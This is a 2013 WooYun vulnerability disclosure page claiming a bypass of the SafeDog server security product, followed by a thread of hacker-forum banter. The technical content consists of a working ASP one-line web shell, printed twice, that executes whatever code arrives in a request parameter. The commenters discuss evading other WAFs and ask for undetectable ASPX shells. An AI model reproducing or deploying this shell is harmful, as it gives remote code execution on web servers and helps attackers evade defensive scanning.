当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-041028

漏洞标题：又一次成功绕过安全狗查杀

相关厂商：安全狗

漏洞作者： 雷少

提交时间：2013-10-26 08:19

修复时间：2014-01-21 08:20

公开时间：2014-01-21 08:20

漏洞类型：默认配置不当

危害等级：中

自评Rank：10

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-10-26： 细节已通知厂商并且等待厂商处理中
2013-10-31： 厂商主动忽略漏洞，细节向第三方安全合作伙伴开放
2013-12-25： 细节向核心白帽子及相关领域专家公开
2014-01-04： 细节向普通白帽子公开
2014-01-14： 细节向实习白帽子公开
2014-01-21： 细节向公众公开

简要描述：

安全狗在次无节操

详细说明：

过狗代码

<%
re= request("sb")
if re <>"" then
execute re
response.end 
end if
%>


1.png

2.png

漏洞证明：

过狗代码

<%
re= request("sb")
if re <>"" then
execute re
response.end 
end if
%>


1.png

2.png

修复方案：

你们太专业了

版权声明：转载请注明来源 雷少@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2014-01-21 08:20

厂商回复：

最新状态：

暂无

漏洞评价：

评论

  1. 2013-10-26 10:07 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    这玩意太他妈的多了

  2. 2013-10-26 13:35 | 雷少 ( 实习白帽子 | Rank:80 漏洞数:31 | 热爱网络的爱好者，需求同道中人。)

    @xsser 就是，安全狗的特征那么少。网站一旦被成功渗透，服务器安装安全狗只要骚味加密又或者修改一下就成功绕过而且这个可大可小

  3. 2013-10-26 13:37 | Mr.杨总 ( 路人 | Rank:14 漏洞数:4 | 绿色 无毒 你懂得。。。。心要宽 。。。)

    求D盾思路

  4. 2013-10-26 15:36 | 小龙 ( 普通白帽子 | Rank:1208 漏洞数:316 | 乌云有着这么一群人，在乌云学技术，去某数...)

    @Mr.杨总 D盾很容易过啊，我教你把，首先找到站长的联系方式，打电话，emil，QQ都可以，然后告诉他： 是XXX的站长？把你D盾关上，我要上个马， 此绝招通杀，百分之80的站点

  5. 2013-10-26 16:58 | 雷少 ( 实习白帽子 | Rank:80 漏洞数:31 | 热爱网络的爱好者，需求同道中人。)

    @小龙 同意楼上观点。楼上对于绕过web拦截有着深厚的了解，有着20年以上的开发精验让我等不得不佩服“小龙人”强大的思维和永不腐朽的精神

  6. 2013-10-26 17:26 | 小龙 ( 普通白帽子 | Rank:1208 漏洞数:316 | 乌云有着这么一群人，在乌云学技术，去某数...)

    @雷少 @雷少 低调，那个方法我确实用了三年，亲测通用

  7. 2013-10-26 19:02 | 雷少 ( 实习白帽子 | Rank:80 漏洞数:31 | 热爱网络的爱好者，需求同道中人。)

    @小龙 @小龙 @小龙 @小龙 “小龙人”我觉得你人不错，能否留下QQ我们私下交瘤教瘤如何？做个朋友

  8. 2013-10-26 21:42 | 小龙 ( 普通白帽子 | Rank:1208 漏洞数:316 | 乌云有着这么一群人，在乌云学技术，去某数...)

    @雷少 你没加我吗？ 个人主页哪里有QQ啊- -

  9. 2013-10-26 21:53 | 雷少 ( 实习白帽子 | Rank:80 漏洞数:31 | 热爱网络的爱好者，需求同道中人。)

    @小龙 @小龙 @小龙 @小龙 @小龙 没注意啊，“小龙人”

  10. 2013-10-31 09:03 | 落叶纷飞 ( 实习白帽子 | Rank:34 漏洞数:1 | im luoye,Once the 00day.cn)

    PHP的吗？PHP绕狗就别发了吧？PHP真的永远也拦不了的。。。

  11. 2013-10-31 09:15 | 雷少 ( 实习白帽子 | Rank:80 漏洞数:31 | 热爱网络的爱好者，需求同道中人。)

    @落叶纷飞 永远？你太天真了要拦还是可以的，

  12. 2013-10-31 09:55 | 小龙 ( 普通白帽子 | Rank:1208 漏洞数:316 | 乌云有着这么一群人，在乌云学技术，去某数...)

    @落叶纷飞 @雷少 你们两个很有想法，跟我去学雅蠛蝶吧

  13. 2013-10-31 12:34 | 雷少 ( 实习白帽子 | Rank:80 漏洞数:31 | 热爱网络的爱好者，需求同道中人。)

    @小龙 @小龙 @小龙 @小龙 @小龙 你啊菊花真的好欠揉搓

  14. 2013-10-31 14:02 | Mosuan ( 普通白帽子 | Rank:449 漏洞数:175 | 尘封此号，不装逼了，再见孩子们。by Mosua...)

    @雷少 @小龙 小龙再看天线宝宝

  15. 2013-10-31 14:19 | 雷少 ( 实习白帽子 | Rank:80 漏洞数:31 | 热爱网络的爱好者，需求同道中人。)

    @Mosuan 死一边去，你还看奥特曼呢

  16. 2013-10-31 14:40 | 落叶纷飞 ( 实习白帽子 | Rank:34 漏洞数:1 | im luoye,Once the 00day.cn)

    @雷少 天真？真可笑，你找得出市面上有一款能拦住我马的WAF？求我刚学安全1周，真心求教了

  17. 2013-10-31 14:44 | 雷少 ( 实习白帽子 | Rank:80 漏洞数:31 | 热爱网络的爱好者，需求同道中人。)

    @落叶纷飞 如果说在服务器端上做好了，绕过不让你执行又能怎样呢

  18. 2013-10-31 14:45 | 雷少 ( 实习白帽子 | Rank:80 漏洞数:31 | 热爱网络的爱好者，需求同道中人。)

    @雷少 现在的waf不过就是文件扫描，假如直接在服务器端上做了目录限制你绕过又能怎样嗯哼

  19. 2013-10-31 21:37 | Mosuan ( 普通白帽子 | Rank:449 漏洞数:175 | 尘封此号，不装逼了，再见孩子们。by Mosua...)

    @雷少 影袭雷少啊，大牛啊，大神的

  20. 2013-10-31 21:44 | 落叶纷飞 ( 实习白帽子 | Rank:34 漏洞数:1 | im luoye,Once the 00day.cn)

    @雷少 你这又是另一回事了，我说的是绕过安全狗，你怎么又说到禁止目录执行权限了，那你还不如说你用TOMCAT搭建个站，站上有个功能，只能上传PHP，求日下

  21. 2013-11-01 09:17 | 雷少 ( 实习白帽子 | Rank:80 漏洞数:31 | 热爱网络的爱好者，需求同道中人。)

    @落叶纷飞 你赢了，不过我认为既然是防护软件那么就要做全面了是吧

  22. 2013-11-01 23:45 | 落叶纷飞 ( 实习白帽子 | Rank:34 漏洞数:1 | im luoye,Once the 00day.cn)

    @雷少 额，那也是。。

  23. 2013-11-02 00:18 | 天朝城管 ( 普通白帽子 | Rank:116 漏洞数:35 | 不要等到命玩你的时候才开始玩命)

    @雷少 要是真能做这么好 还用乌云干什么

  24. 2013-11-02 12:43 | 雷少 ( 实习白帽子 | Rank:80 漏洞数:31 | 热爱网络的爱好者，需求同道中人。)

    @天朝城管 有道理，

  25. 2014-01-21 10:22 | 风的传奇 ( 路人 | Rank:1 漏洞数:2 | 没有什么了不起，混迹于茫茫网络而已。)

    我就求一能过马执行的ASPX

  26. 2014-01-21 13:53 | Mosuan ( 普通白帽子 | Rank:449 漏洞数:175 | 尘封此号，不装逼了，再见孩子们。by Mosua...)

    @风的传奇 这个你得求新世界雷少，影袭小组雷少，匿名者雷少